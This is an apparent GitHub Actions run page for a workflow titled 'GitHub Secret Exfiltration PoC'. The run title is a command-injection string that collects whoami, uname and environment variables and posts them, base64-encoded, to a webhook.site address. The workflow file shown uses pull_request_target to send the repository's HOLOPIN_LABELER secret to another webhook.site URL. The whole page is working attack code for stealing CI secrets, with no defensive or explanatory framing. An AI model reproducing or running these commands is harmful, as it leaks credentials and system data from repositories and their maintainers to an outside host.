Skip to content
GitHub Secret Exfiltration PoC

$(bash -c "{ echo -n '$(whoami; uname -a; env)' | base64 | xargs -I {} curl -X POST https://webhook.site/ab12cd34-5678-9101-efgh-ijklmnopqrst -d {} }") #2

Sign in to view logs

$(bash -c "{ echo -n '$(whoami; uname -a; env)' | base64 | xargs -I {} curl -X POST https://webhook.site/ab12cd34-5678-9101-efgh-ijklmnopqrst -d {} }")

$(bash -c "{ echo -n '$(whoami; uname -a; env)' | base64 | xargs -I {} curl -X POST https://webhook.site/ab12cd34-5678-9101-efgh-ijklmnopqrst -d {} }") #2

Workflow file for this run

.github/workflows/poc.yml at a9516a4
name: GitHub Secret Exfiltration PoC
on:
pull_request_target:
types: [opened]
jobs:
exploit:
runs-on: ubuntu-latest
steps:
- name: Show that the PoC workflow is running
run: echo "[+] Workflow triggered by PR from fork"
- name: Try to exfiltrate HOLOPIN_LABELER secret
run: |
echo "[+] Sending secret to Webhook.site..."
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "token=${{ secrets.HOLOPIN_LABELER }}" \
https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1